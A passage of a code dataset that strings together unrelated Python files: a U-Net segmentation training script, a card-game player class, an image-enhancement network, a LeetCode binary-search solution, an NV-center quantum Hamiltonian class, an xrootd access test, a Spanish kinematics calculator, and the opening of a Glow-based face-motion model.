experiment_name,_ = os.path.splitext(os.path.basename(experiment_yml_path))\n print('->',experiment_name)\n for k,v in settings.items():\n print(k,'=',v)\n #----------------------- experiment settings ------------------------\n IMG_SIZE = settings['IMG_SIZE']\n BATCH_SIZE = settings['BATCH_SIZE']\n NUM_EPOCHS = settings['NUM_EPOCHS']\n\n data_augmentation = settings['data_augmentation'] # string\n\n dataset_dir = settings['dataset_dir']\n save_model_path = settings['save_model_path']## NOTE\n history_path = settings['history_path']## NOTE\n\n eval_result_dirpath = os.path.join(settings['eval_result_parent_dir'], \n experiment_name)\n # optional settings\n sqr_crop_dataset = settings.get('sqr_crop_dataset') \n kernel_init = settings.get('kernel_init')\n num_maxpool = settings.get('num_maxpool')\n num_filters = settings.get('num_filters')\n overlap_factor = settings.get('overlap_factor')\n #loaded_model = save_model_path ## NOTE\n loaded_model = None\n #--------------------------------------------------------------------\n\n #--------------------------------------------------------------------\n train_dir = os.path.join(dataset_dir,'train')\n valid_dir = os.path.join(dataset_dir,'valid')\n test_dir = os.path.join(dataset_dir,'test')\n\n output_dir = os.path.join(dataset_dir,'output')\n origin_dir = os.path.join(output_dir,'image')\n answer_dir = os.path.join(output_dir,'label')\n result_dir = os.path.join(output_dir,'result')\n #--------------------------------------------------------------------\n\n #-------------------- ready to generate batch -----------------------\n train_imgs = list(load_imgs(os.path.join(train_dir,'image')))\n train_masks =list(load_imgs(os.path.join(train_dir,'label')))\n valid_imgs = list(load_imgs(os.path.join(valid_dir,'image')))\n valid_masks =list(load_imgs(os.path.join(valid_dir,'label')))\n test_imgs = list(load_imgs(os.path.join(test_dir, 'image')))\n test_masks = list(load_imgs(os.path.join(test_dir, 'label')))\n\n if overlap_factor is None: overlap_factor = 2\n #calc mean h,w of dataset\n tr_h, tr_w = sum(map(lambda img: np.array(img.shape[:2]),train_imgs)) / len(train_imgs)\n vl_h, vl_w = sum(map(lambda img: np.array(img.shape[:2]),valid_imgs)) / len(valid_imgs)\n te_h, te_w = sum(map(lambda img: np.array(img.shape[:2]),test_imgs)) / len(test_imgs)\n #print(tr_h,tr_w, '|', vl_h,vl_w, '|', te_h,te_w)\n train_num_sample = int((tr_h/IMG_SIZE) * (tr_w/IMG_SIZE) * overlap_factor)\n valid_num_sample = int((vl_h/IMG_SIZE) * (vl_w/IMG_SIZE) * overlap_factor)\n test_num_sample = int((te_h/IMG_SIZE) * (te_w/IMG_SIZE) * overlap_factor)\n #print(train_num_sample,valid_num_sample,test_num_sample)\n train_steps_per_epoch = modulo_ceil(len(train_imgs),BATCH_SIZE) // BATCH_SIZE * train_num_sample\n valid_steps_per_epoch = modulo_ceil(len(valid_imgs),BATCH_SIZE) // BATCH_SIZE * valid_num_sample\n test_steps_per_epoch = modulo_ceil(len(test_imgs),BATCH_SIZE) // BATCH_SIZE * test_num_sample\n print('# train images =', len(train_imgs), '| train steps/epoch =', train_steps_per_epoch)\n print('# valid images =', len(valid_imgs), '| valid steps/epoch =', valid_steps_per_epoch)\n print('# test images =', len(test_imgs), '| test steps/epoch =', test_steps_per_epoch)\n\n if data_augmentation == 'bioseg':\n aug = augmenter(BATCH_SIZE, IMG_SIZE, 1, \n crop_before_augs=[\n iaa.Fliplr(0.5),\n iaa.Flipud(0.5),\n iaa.Affine(rotate=(-180,180),mode='reflect'),\n ],\n crop_after_augs=[\n iaa.ElasticTransformation(alpha=(100,200),sigma=14,mode='reflect'),\n ]\n )\n elif data_augmentation == 'manga_gb':\n aug = augmenter(BATCH_SIZE, IMG_SIZE, 1, \n crop_before_augs=[\n iaa.Affine(\n rotate=(-3,3), shear=(-3,3), \n scale={'x':(0.8,1.5), 'y':(0.8,1.5)},\n mode='reflect'),\n ]\n )\n elif data_augmentation == 'no_aug':\n aug = augmenter(BATCH_SIZE, IMG_SIZE, 1)\n\n if sqr_crop_dataset:\n aug = None\n\n my_gen = batch_gen(train_imgs, train_masks, BATCH_SIZE, aug)\n valid_gen = batch_gen(valid_imgs, valid_masks, BATCH_SIZE, aug)\n test_gen = batch_gen(test_imgs, test_masks, BATCH_SIZE, aug)\n #--------------------------------------------------------------------\n '''\n # DEBUG\n for ims,mas in my_gen:\n for im,ma in zip(ims,mas):\n cv2.imshow('i',im)\n cv2.imshow('m',ma); cv2.waitKey(0)\n '''\n #---------------------------- train model ---------------------------\n if kernel_init is None: kernel_init = 'he_normal'\n if num_maxpool is None: num_maxpool = 4 \n if num_filters is None: num_filters = 64\n\n LEARNING_RATE = 1.0\n model = unet(pretrained_weights=loaded_model,\n input_size=(IMG_SIZE,IMG_SIZE,1),\n kernel_init=kernel_init,\n num_filters=num_filters,\n num_maxpool=num_maxpool,\n lr=LEARNING_RATE)\n\n model_checkpoint = ModelCheckpoint(save_model_path, monitor='val_loss',\n verbose=1, save_best_only=True)\n train_timer = ElapsedTimer(experiment_yml_path + ' training')\n history = model.fit_generator(my_gen, epochs=NUM_EPOCHS,\n steps_per_epoch=train_steps_per_epoch, \n validation_steps=valid_steps_per_epoch,\n validation_data=valid_gen, \n callbacks=[model_checkpoint])\n train_time_str = train_timer.elapsed_time()\n #--------------------------------------------------------------------\n\n #--------------------------- save results ---------------------------\n origins = list(load_imgs(origin_dir))\n answers = list(load_imgs(answer_dir))\n assert len(origins) == len(answers)\n\n num_imgs = len(origins)\n\n if not sqr_crop_dataset:\n aug_det = augmenter(num_imgs,IMG_SIZE,1).to_deterministic() # no augmentation!\n origins = aug_det.augment_images(origins)\n answers = aug_det.augment_images(answers)\n\n predictions = model.predict_generator((img.reshape(1,IMG_SIZE,IMG_SIZE,1) for img in origins), \n num_imgs, verbose=1)\n evaluator.save_img_tuples(zip(origins,answers,predictions),result_dir)\n\n test_metrics = model.evaluate_generator(test_gen, steps=test_steps_per_epoch)\n K.clear_session()\n #print(model.metrics_names)\n #print(test_metrics)\n print('test set: loss =', test_metrics[0], '| IoU =', test_metrics[1])\n #--------------------------------------------------------------------\n\n #------------------- evaluation and save results --------------------\n with open(history_path,'w') as f:\n f.write(yaml.dump(dict(\n loss = list(map(np.asscalar,history.history['loss'])),\n acc = list(map(np.asscalar,history.history['mean_iou'])),\n val_loss = list(map(np.asscalar,history.history['val_loss'])),\n val_acc = list(map(np.asscalar,history.history['val_mean_iou'])),\n test_loss = np.asscalar(test_metrics[0]),\n test_acc = np.asscalar(test_metrics[1]),\n train_time = train_time_str,\n )))\n\n modulo = 2**num_maxpool\n evaluator.eval_and_save_result(dataset_dir, save_model_path, eval_result_dirpath,\n files_2b_copied=[history_path, experiment_yml_path],\n num_filters=num_filters, num_maxpool=num_maxpool, modulo=modulo)\n #--------------------------------------------------------------------\n\nif __name__ == '__main__':\n with open('experiment_log','w') as log:\n for experiment_path in human_sorted(file_paths(sys.argv[1])):\n try:\n timer = ElapsedTimer(experiment_path)\n main(experiment_path)\n log.write(timer.elapsed_time())\n except AssertionError as error:\n print(str(error))\n log.write(str(error))\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"345825021","text":"#!/usr/bin/env python\r\n# -*- coding: utf8 -*- \r\n\r\nfrom communication import *\r\nfrom hand import *\r\nimport json\r\nimport time\r\n\r\n \r\nclass Player:\r\n def __init__(self, nick, ip, port):\r\n self.nick = nick\r\n self.ip = ip\r\n self.port = port\r\n self.out = False\r\n self.isFirst = False\r\n \r\n def setOut(self):\r\n self.out = True\r\n \r\nclass Players:\r\n def __init__(self, reply, myNick):\r\n players = reply[\"players\"]\r\n self._players = []\r\n \r\n if len(players) == 0:\r\n raise Exception(\"No players recieved. Bug on server?\")\r\n \r\n for player in players:\r\n newPlayer = Player(player[1], player[0][0], int(player[0][1]))\r\n self._players.append(newPlayer)\r\n if newPlayer.nick == myNick:\r\n self._me = newPlayer\r\n \r\n \r\n if len(self._players) != 0:\r\n self._players[0].isFirst = True\r\n \r\n while self._players[-1] != self._me:\r\n self._players.append(self._players.pop(0)) \r\n \r\n def __len__(self):\r\n return len(self._players)\r\n \r\n @property \r\n def me(self):\r\n return self._me\r\n \r\n @property\r\n def nextPlayer(self):\r\n for player in self._players:\r\n if not player.out:\r\n return player\r\n \r\n \r\n","sub_path":"src/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"271901051","text":"import torch\nimport torch.nn as nn\nfrom layer_utils import *\n\n# dimensions of image [batch_size, channels, height, width]\n\nclass EnhanceSubnet(nn.Module):\n def __init__(self):\n super(EnhanceSubnet, self).__init__()\n\n # Bilinear upsampling layer\n #self.upsample = nn.Upsample(size=512, mode='bilinear')\n self.upsample = nn.Upsample(scale_factor=2, mode='bilinear')\n\n # Initial convolution layers\n self.conv1 = ConvLayer(3, 32, kernel_size=9, stride=1) # size = 512\n self.in1 = nn.InstanceNorm2d(32, affine=True)\n self.conv2 = ConvLayer(32, 64, kernel_size=3, stride=2) # size = 256\n self.in2 = nn.InstanceNorm2d(64, affine=True)\n self.conv3 = ConvLayer(64, 128, kernel_size=3, stride=2) # size = 128\n self.in3 = nn.InstanceNorm2d(128, affine=True)\n self.conv4 = ConvLayer(128, 256, kernel_size=3, stride=2) # size = 64\n self.in4 = nn.InstanceNorm2d(256, affine=True)\n\n # Residual layers\n self.res1 = ResidualBlock(256)\n self.res2 = ResidualBlock(256)\n self.res3 = ResidualBlock(256)\n self.res4 = ResidualBlock(256)\n self.res5 = ResidualBlock(256)\n self.res6 = ResidualBlock(256)\n\n # Upsampling Layers\n self.rezconv1 = ResizeConvLayer(256, 128, kernel_size=3, stride=1)\n self.in5 = nn.InstanceNorm2d(128, affine=True)\n self.rezconv2 = ResizeConvLayer(128, 64, kernel_size=3, stride=1)\n self.in6 = nn.InstanceNorm2d(64, affine=True)\n self.rezconv3 = ResizeConvLayer(64, 32, kernel_size=3, stride=1)\n self.in7 = nn.InstanceNorm2d(32, affine=True)\n self.rezconv4 = ConvLayer(32, 3, kernel_size=9, stride=1)\n\n # Non-linearities\n self.relu = nn.ReLU()\n\n def forward(self, X):\n X = self.upsample(X)\n # resized input image is the content target\n resized_input_img = X.clone()\n\n y = self.relu(self.in1(self.conv1(X)))\n y = self.relu(self.in2(self.conv2(y)))\n y = self.relu(self.in3(self.conv3(y)))\n y = self.relu(self.in4(self.conv4(y)))\n y = self.res1(y)\n y = self.res2(y)\n y = self.res3(y)\n y = self.res4(y)\n y = self.res5(y)\n y = self.res6(y)\n y = self.relu(self.in5(self.rezconv1(y)))\n y = self.relu(self.in6(self.rezconv2(y)))\n y = self.relu(self.in7(self.rezconv3(y)))\n y = self.rezconv4(y)\n\n # Clamp image to be in range [0,1] after denormalization\n y[0][0].clamp_((0-0.485)/0.299, (1-0.485)/0.299)\n y[0][1].clamp_((0-0.456)/0.224, (1-0.456)/0.224)\n y[0][2].clamp_((0-0.406)/0.225, (1-0.406)/0.225)\n\n return y, resized_input_img\n","sub_path":"enhance_subnet.py","file_name":"enhance_subnet.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"221393004","text":"\"\"\"\nhttps://leetcode.com/problems/find-peak-element/\n\"\"\"\n\n\nfrom typing import List\n\n\ndef find_peak(nums: List[int]) -> int:\n \"\"\"\n nums: store positive values of height\n return: int, index of peak\n \"\"\"\n len_nums = len(nums)\n if len_nums <= 3:\n return nums.index(max(nums))\n if nums[0] > nums[1]:\n return 0\n if nums[-1] > nums[-2]:\n return len_nums - 1\n\n l_bound, r_bound = 1, len_nums - 2\n while l_bound + 1 < r_bound:\n mid = l_bound + (r_bound - l_bound) // 2\n l_nb, r_nb = mid - 1, mid + 1\n if nums[l_nb] < nums[mid] > nums[r_nb]:\n return mid\n if nums[l_nb] < nums[mid]:\n l_bound = mid\n elif nums[l_nb] > nums[mid]:\n r_bound = mid\n else:\n raise ValueError('neighbouring values should not be the same')\n\n if nums[l_bound] > nums[r_bound]:\n return l_bound\n return r_bound\n","sub_path":"binary_search/Practice_1_LC_162_Medium/practice_1_lc_162_medium.py","file_name":"practice_1_lc_162_medium.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"519176313","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 25 06:16:19 2018\n\n@author: yuta\n\"\"\"\n\n\"\"\"\n============このクラスはQ_module_new02をimport後にimportして下さい。===================\n\"\"\"\nimport numpy as np\nfrom Q_module_new02 import*\nclass Q_H:\n \"\"\"\n クロスワイヤーに対応したクラスです。\n NVに関するパラメータの構造体、ハミルトニアンの生成、時間発展演算子を計算するメソッドを持っています。\n \"\"\"\n pi=np.pi #円周率\n D0=2870 #ゼロ磁場分裂[MHz]\n QN=-4.945 #核四重極子分裂[MHz]\n AN=-2.2 #電子スピン-窒素核スピン間超微細相互作用[MHz]\n h=6.62606957*1e-34/(2*pi) #ディラック定数[m**2*kg/s]\n ge=2.002319 #電子スピンのg因子\n mu=1.5e-7 #真空の透磁率[m**3*s**4*A**2/kg]\n muB=927.401*1e-20/h #ボーア磁子[J/T]\n muN=5.05078324*1e-27/h #核磁子[J/T]\n Be=4.5*1e-5 #地磁気[T]\n Bo=-0.450*1e-4 #外部磁場[T]\n Ac_list=[-3.265] #電子スピン-炭素同位体核スピン1間超微細相互作用[MHz]\n a1=500 #ワイヤ1のΩ-V変換式の係数1\n b1=0.6 #ワイヤ1Ω-V変換式の係数2\n a2=156 #ワイヤ2のΩ-V変換式の係数1\n b2=0.8 #ワイヤ2Ω-V変換式の係数2\n w_theta=90*pi/180 #ワイヤ1とワイヤ2の角度[rad]\n \n def __init__(self):\n self.C_mat=II\n self.H0=III #NVのハミルトニアン\n self.Vd=III #ドライブハミルトニアン\n self.Hf=III #回転座標系に乗るためのハミルトニアン\n self.pulse=0 #MW:0, RF:1\n self.rho0=tensor(S0,III/3)\n \n def C_matrix(self):\n C_list=[]\n for i in range(len(Q_H.Ac_list)):\n C_list.append(2)\n self.C_mat=Qobj(qeye(2**len(Q_H.Ac_list)),dims=[C_list,C_list])/2**len(Q_H.Ac_list)\n return self.C_mat\n \n def H(self,x):\n C_list=[]\n Hint_ec=[]\n self.H0=III\n if len(Q_H.Ac_list) != 0:\n for i in range(len(Q_H.Ac_list)): #i番目の炭素の超微細相互作用\n C_z=tensor(Sz,III) #電子、窒素\n for j in range(i):\n C_z=tensor(C_z,II)\n C_z=tensor(C_z,sigz)\n for k in range(len(Q_H.Ac_list)-i-1):\n C_z=tensor(C_z,II)\n Hint_ec.append(Q_H.Ac_list[i]*C_z)\n C_list.append(2)\n He=x[5]*tensor(Sz*Sz,III,self.C_mat) #x[5]:D0\n Hn=x[7]*tensor(III,Sz*Sz,self.C_mat) #x[7]:An\n Hint_en=x[6]*tensor(Sz,Sz,self.C_mat) #x[6]:Qn\n HB=Q_H.ge*(x[8])*Q_H.muB/10.0*tensor(Sz,III,self.C_mat) #x[8]:Bzs\n self.H0=He+Hn+Hint_en+HB\n for i in range(len(Q_H.Ac_list)):\n self.H0=self.H0+Hint_ec[i]\n else:\n He=x[5]*tensor(Sz*Sz,III)\n Hn=x[7]*tensor(III,Sz*Sz)\n Hint_en=x[6]*tensor(Sz,Sz)\n HB=ge*(x[8])*muB/10.0*tensor(Sz,III)\n self.H0=He+Hn+Hint_en+HB\n \n def R_V_func(self,a,b,V):\n if b > V:\n Ome=a*(b*V - (V**2)/2.0)\n else:\n Ome=1/2.0 * a *b**2\n return Ome\n \n def Vdrive_all(self,V1,V2,phi):\n if self.wire==0:\n Ur=(-1j*phi*Sp-1j*phi*Sm).expm()\n Ome1=self.R_V_func(self.a1,self.b1,V1)\n Ome2=self.R_V_func(self.a2,self.b2,V2)\n self.Vd = (1/2.0)*(Ome1*Sx+Ome2*Ur*(Sx*cos(Q_H.w_theta)+Sy*sin(Q_H.w_theta))*Ur.dag())\n elif self.wire==1:\n Ome1=self.R_V_func(self.a1,self.b1,V1)\n self.Vd=Ome1/2.0*Sx\n elif self.wire==2:\n Ome2=self.R_V_func(self.a2,self.b2,V2)\n self.Vd=Ome2/2.0*Sx\n self.Vd=tensor(self.Vd,III,self.C_mat)\n \n def H_rot(self,omega): #回転座標系に乗せるための行列を生成する関数\n mw=III\n rf=III\n if self.pulse==1:\n rf=Sz*Sz\n else:\n mw=Sz*Sz\n self.Hf=omega*tensor(mw,rf,self.C_mat)\n\n def Tevo(self,width): #量子状態の時間発展を計算する関数\n rho0=tensor(S0,III/3,self.C_mat/(2**len(self.Ac_list)))\n HI=self.Vd+self.H0-self.Hf\n U=(-2*pi*1j*HI*width).expm()\n dens=U*rho0*U.dag()\n return dens\n \n def exp(self,rhof): #量子状態の期待値を計算する関数\n #a:density matrix, b:projector of electron, c:Nuclear, d:13C1, f:13C2, g:13C3 \n e=(rhof*tensor(S0,III/3,self.C_mat/(2**len(self.Ac_list)))).tr() #expected value\n e=e.real\n return e\n \n ","sub_path":"機械学習/サブpy/Q_H02.py","file_name":"Q_H02.py","file_ext":"py","file_size_in_byte":4554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"101717199","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport unittest\nimport sys\nimport random\nsys.path.append('../')\nfrom myutils.sampleTree import SampleTree as SampleTree\nfrom myutils.FileLocator import FileLocator\nimport os\n\nclass TestXrootdMethods(unittest.TestCase):\n\n scratchDirectory = os.environ['SCRATCH_DIR'] if 'SCRATCH_DIR' in os.environ else '.'\n\n def getTree(self, path):\n fileNames = ['root://xrootd-cms.infn.it//store/group/phys_higgs/hbb/ntuples/V25/TT_TuneCUETP8M2T4_13TeV-powheg-pythia8/VHBB_HEPPY_V25_TT_TuneCUETP8M2T4_13TeV-powheg-Py8__RunIISummer16MAv2-PUMoriond17_80r2as_2016_TrancheIV_v6-v1/170202_212737/0000/tree_100.root']\n return SampleTree(fileNames)\n\n def test_xrootd(self):\n if 'X509_USER_PROXY' in os.environ and len(os.environ['X509_USER_PROXY'].strip()) > 0:\n path1 = 'root://xrootd-cms.infn.it//store/group/phys_higgs/hbb/ntuples/V25/TT_TuneCUETP8M2T4_13TeV-powheg-pythia8/VHBB_HEPPY_V25_TT_TuneCUETP8M2T4_13TeV-powheg-Py8__RunIISummer16MAv2-PUMoriond17_80r2as_2016_TrancheIV_v6-v1/170202_212737/0000/tree_100.root'\n tree1 = self.getTree(path1)\n print (\"ENTRIES:\", tree1.GetEntries())\n self.assertEqual(tree1.GetEntries(), 48442)\n\n fileLocator = FileLocator()\n\n path2 = fileLocator.removeRedirector(path1)\n print (\"PATH2:\", path2)\n self.assertTrue(path2.startswith('/store/group/phys_higgs/'))\n self.assertTrue(path2.endswith('/tree_100.root'))\n\n path3 = fileLocator.addRedirector(redirector='root://xrootd-cms.infn.it', fileName=path2)\n self.assertEqual(path1, path3)\n else:\n print(\"INFO: this test is skipped because no X509 proxy certificate is found which is needed to access the files!\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"python/test/test_xrootd.py","file_name":"test_xrootd.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"205446567","text":"import math\r\n\r\nprint(\"Movement-Varied-Calculator - MRUV Calculator Python\")\r\n\r\nprint(\"------------------------------------------------------------------\")\r\nprint(\"| _ _ _ _ ____ ____ _ ____ _ _ _ ____ ___ ____ ____ |\")\r\nprint(\"| |\\/| | | | |__| | | | | | |__| | | | |__/ |\")\r\nprint(\"| | | \\/ |___ | | |___ |___ |__| |___ | | | |__| | \\ |\")\r\nprint(\"------------------------------------------------------------------\")\r\n\r\n\r\nclass MovementVariedCalculator:\r\n \"\"\"Uniform Rectilinear Motion Calculation\"\"\"\r\n\r\n # Equations without distance\r\n not_distance_find_final_velocity = lambda self, iv, a, t: iv + a * t\r\n not_distance_find_initial_velocity = lambda self, fv, a, t: fv - a * t\r\n not_distance_find_acceleration = lambda self, fv, iv, t: fv * t / iv\r\n not_distance_find_time = lambda self, fv, iv, a: (fv + iv) / a\r\n\r\n # Equations without acceleration\r\n not_acceleration_find_initial_velocity = lambda self, d, fv, t: ((2 * d) / t) - fv\r\n not_acceleration_find_distance = lambda self, iv, fv, t: ((fv + iv) / 2) * t \r\n\r\n def get_unknown_variable(self):\r\n return str(input(\"Genial, ingresa la variable que deseas hallar: \"))\r\n def print_variable_not_found(self):\r\n print(\"Variable incorrecta o no ingresada\")\r\n def get_initial_velocity(self):\r\n return int(input(\"Ingresa la velocidad inicial: \"))\r\n def get_final_velocity(self):\r\n return int(input(\"Ingresa la velocidad final: \")) \r\n def get_acceleration(self):\r\n return int(input(\"Ingresa la aceleración: \"))\r\n def get_time(self):\r\n return int(input(\"Ingresa el tiempo: \"))\r\n def get_distance(self):\r\n return int(input(\"Ingresa la distancia: \"))\r\n\r\n\r\n\r\nmv = MovementVariedCalculator()\r\n\r\nprint(\"| d | Distancia |\")\r\nprint(\"| a | Aceleración |\")\r\nprint(\"| vf | Velocidad final |\")\r\nprint(\"| t | Tiempo |\")\r\n\r\n\r\ndef show_result(result, type_result):\r\n print(\"El resultado es: \", result, type_result)\r\n\r\n\r\nmissingData = str(input(\">> ¿Qué variable te falta en la ecuación? \"))\r\n\r\nif missingData == 'd':\r\n print(\"vo - Velocidad Inicial, t - Tiempo, a - Aceleración\")\r\n unknown = mv.get_unknown_variable()\r\n\r\n # Find final velocity\r\n if unknown == 'vf':\r\n initial_velocity = mv.get_initial_velocity()\r\n acceleration = mv.get_acceleration()\r\n time = mv.get_time()\r\n \r\n result = mv.not_distance_find_final_velocity(initial_velocity, acceleration, time)\r\n show_result(result, \"m/s\")\r\n\r\n # Find initial velocity\r\n elif unknown == 'vo':\r\n final_velocity = mv.get_final_velocity()\r\n acceleration = mv.get_acceleration()\r\n time = mv.get_time()\r\n\r\n result = mv.not_distance_find_initial_velocity(final_velocity, acceleration, time)\r\n print(\"El resultado es: \", result, \"m/s\")\r\n\r\n # Find acceleration\r\n elif unknown == 'a':\r\n final_velocity = mv.get_final_velocity()\r\n initial_velocity = mv.get_initial_velocity()\r\n time = mv.get_time()\r\n\r\n result = mv.not_distance_find_acceleration(final_velocity, initial_velocity, time)\r\n show_result(result, \"m/s^2\")\r\n\r\n # Find time\r\n elif unknown == 't':\r\n final_velocity = mv.get_final_velocity()\r\n initial_velocity = mv.get_initial_velocity()\r\n acceleration = mv.get_acceleration()\r\n \r\n result = mv.not_distance_find_time(final_velocity, initial_velocity, acceleration)\r\n show_result(result, \"s\")\r\n\r\n else:\r\n mv.print_variable_not_found()\r\n\r\nelif missingData == 'a':\r\n print(\"vo - Velocidad Inicial, vf - Velocidad Final, t - Tiempo, d - Distancia\")\r\n unknown = str(input(\"Genial, ingresa la variable que deseas hallar: \"))\r\n\r\n # Find final velocity\r\n if unknown == 'vo':\r\n distance = mv.get_distance()\r\n final_velocity = mv.get_final_velocity()\r\n time = mv.get_time()\r\n\r\n result = mv.not_acceleration_find_initial_velocity(distance, final_velocity, time)\r\n show_result(result, \"m/s\")\r\n \r\n # Find distance\r\n elif unknown == 'd':\r\n initial_velocity = mv.get_initial_velocity()\r\n final_velocity = mv.get_final_velocity()\r\n time = mv.get_time()\r\n \r\n result = mv.not_acceleration_find_distance(initial_velocity, final_velocity, time)\r\n show_result(result, \"m\")\r\n\r\nelif missingData == 'vf':\r\n\r\n print(\"d - Distancia, vo - Velocidad Inicial, t - Tiempo, a - Aceleración\")\r\n unknown = str(input(\"Genial, ingresa la variable que deseas hallar: \"))\r\n\r\n # Find distance\r\n if unknown == 'd':\r\n initial_velocity = mv.get_initial_velocity()\r\n acceleration = mv.get_acceleration()\r\n time = mv.get_time()\r\n\r\n def vf_d(vo, a, t):\r\n resultado = vo * t + ((a * (t ** 2)) / 2)\r\n resultado = str(resultado)\r\n print(\"El resultado es:\\n\" + resultado + \"m\")\r\n\r\n vf_d(initial_velocity, acceleration, time)\r\n\r\n elif unknown == 'vo':\r\n pass\r\n\r\n elif unknown == 't':\r\n pass\r\n\r\n elif unknown == 'a':\r\n pass\r\n \r\n else:\r\n mv.print_variable_not_found()\r\n\r\nelif missingData == 't':\r\n print(\"d - Distancia, vo - Velocidad Inicial, a - Aceleración, Vf - Velocidad final\")\r\n unknown = str(input(\"Genial, ingresa la variable que deseas hallar: \"))\r\n\r\n if unknown == 'd':\r\n initial_velocity = mv.get_initial_velocity()\r\n acceleration = mv.get_acceleration()\r\n final_velocity = mv.get_final_velocity()\r\n\r\n def t_d(vo, a, vf):\r\n resultado = ((vf ** 2) / (2 * a)) - ((vo ** 2) / (2 * a))\r\n resultado = round(resultado, 2)\r\n resultado = str(resultado)\r\n print(\"El resultado es:\\n\" + resultado + \"m\")\r\n\r\n t_d(initial_velocity, acceleration, final_velocity)\r\n\r\n elif unknown == 'vo':\r\n distance = mv.get_distance()\r\n final_velocity = mv.get_final_velocity()\r\n acceleration = mv.get_acceleration()\r\n\r\n def t_vo(d, vf, a):\r\n resultado = math.sqrt((vf ** 2) - (2 * a * d))\r\n resultado = round(resultado, 2)\r\n resultado = str(resultado)\r\n print(\"El resultado es:\\n\" + resultado + \"m/s\")\r\n\r\n t_vo(distance, final_velocity, acceleration)\r\n\r\n elif unknown == 'a':\r\n initial_velocity = mv.get_initial_velocity()\r\n final_velocity = mv.get_final_velocity()\r\n distance = mv.get_distance()\r\n\r\n def t_a(vo, vf, d):\r\n resultado = (((vf) ** 2) / (2 * d)) - ((vo) / (2 * d))\r\n resultado = round(resultado, 2)\r\n resultado = str(resultado)\r\n print(\"El resultado es:\\n\" + resultado + \"m/s\")\r\n\r\n t_a(initial_velocity, final_velocity, distance)\r\n\r\n elif unknown == 'vf':\r\n initial_velocity = mv.get_initial_velocity()\r\n acceleration = mv.get_acceleration()\r\n distance = mv.get_distance()\r\n\r\n def vf_d(vo, a, d):\r\n resultado = (((vo) ** 2) + 2 * a * d) ** (2 / 1)\r\n resultado = round(resultado, 2)\r\n resultado = str(resultado)\r\n print(\"El resultado es:\\n\" + resultado + \"m/s\")\r\n\r\n vf_d(initial_velocity, acceleration, distance)\r\n else:\r\n mv.print_variable_not_found()\r\n\r\nelse:\r\n mv.print_variable_not_found() \r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"417491953","text":"import random\nfrom functools import reduce\n\nimport numpy as np\nimport optuna\nimport torch\nfrom pytorch_lightning import LightningModule\nfrom torch.optim import SGD, Adam, RMSprop\nfrom torch.optim.lr_scheduler import LambdaLR, MultiplicativeLR, StepLR\nfrom torch.utils.data import DataLoader\nfrom glow_pytorch.glow.modules import GaussianDiag\n\n\nfrom glow_pytorch.glow import (\n DataMixin,\n FeatureEncoder,\n Glow,\n calc_jerk,\n get_longest_history,\n LoggingMixin,\n TestMixin,\n)\n\n\nclass LetsFaceItGlow(DataMixin, LoggingMixin, TestMixin, LightningModule):\n def __init__(self, hparams, dataset_root=None, test=None):\n super().__init__()\n\n self.test_params(hparams)\n if dataset_root is not None:\n hparams.dataset_root = dataset_root\n if test is not None:\n hparams.Test = test\n\n if not hparams.Glow.get(\"rnn_type\"):\n hparams.Glow[\"rnn_type\"] = \"gru\"\n\n self.hparams = hparams\n self.best_jerk = torch.tensor(np.Inf)\n self.last_missmatched_nll = torch.tensor(np.Inf)\n self.feature_encoder = FeatureEncoder(\n self.hparams.Conditioning, self.hparams.Data\n )\n\n self.glow = Glow(hparams, self.feature_encoder.dim)\n\n if self.hparams.Train[\"use_negative_nll_loss\"]:\n p2_face_history = self.hparams.Conditioning[\"p2_face\"][\"history\"]\n p2_speech_history = self.hparams.Conditioning[\"p2_speech\"][\"history\"]\n\n if p2_face_history > 0 and p2_speech_history > 0:\n self.missmatched_modalities = [\"p2_face\", \"p2_speech\"]\n self.missmatched_nll_name = \"p2\"\n elif p2_face_history > 0:\n self.missmatched_modalities = [\"p2_face\"]\n self.missmatched_nll_name = \"p2_face\"\n elif p2_speech_history > 0:\n self.missmatched_modalities = [\"p2_speech\"]\n self.missmatched_nll_name = \"p2_speech\"\n else:\n self.missmatched_modalities = None\n\n def test_params(self, hparams):\n train_seq_len = hparams.Train[\"seq_len\"]\n val_seq_len = hparams.Validation[\"seq_len\"]\n for history in [\"p1_face\", \"p2_face\", \"p1_speech\", \"p2_speech\"]:\n his = hparams.Conditioning[history][\"history\"] + 1\n assert his < train_seq_len, f\"{his} > {train_seq_len}\"\n assert his < val_seq_len, f\"{his} > {val_seq_len}\"\n\n\n def inference(self, seq_len, data=None):\n self.glow.init_rnn_hidden()\n\n output_shape = torch.zeros_like(data[\"p1_face\"][:, 0, :])\n frame_nb = None\n if self.hparams.Conditioning[\"use_frame_nb\"]:\n frame_nb = torch.ones((data[\"p1_face\"].shape[0], 1)).type_as(\n data[\"p1_face\"]\n )\n\n prev_p1_faces = data[\"p1_face\"]\n\n start_ts = get_longest_history(self.hparams.Conditioning)\n\n for time_st in range(start_ts, seq_len):\n condition = self.create_conditioning(data, time_st, frame_nb, prev_p1_faces)\n\n output, _ = self.glow(\n condition=condition,\n eps_std=self.hparams.Infer[\"eps\"],\n reverse=True,\n output_shape=output_shape,\n )\n\n prev_p1_faces = torch.cat([prev_p1_faces, output.unsqueeze(1)], dim=1)\n\n if self.hparams.Conditioning[\"use_frame_nb\"]:\n frame_nb += 2\n\n return prev_p1_faces[:, start_ts:]\n\n def forward(self, batch):\n 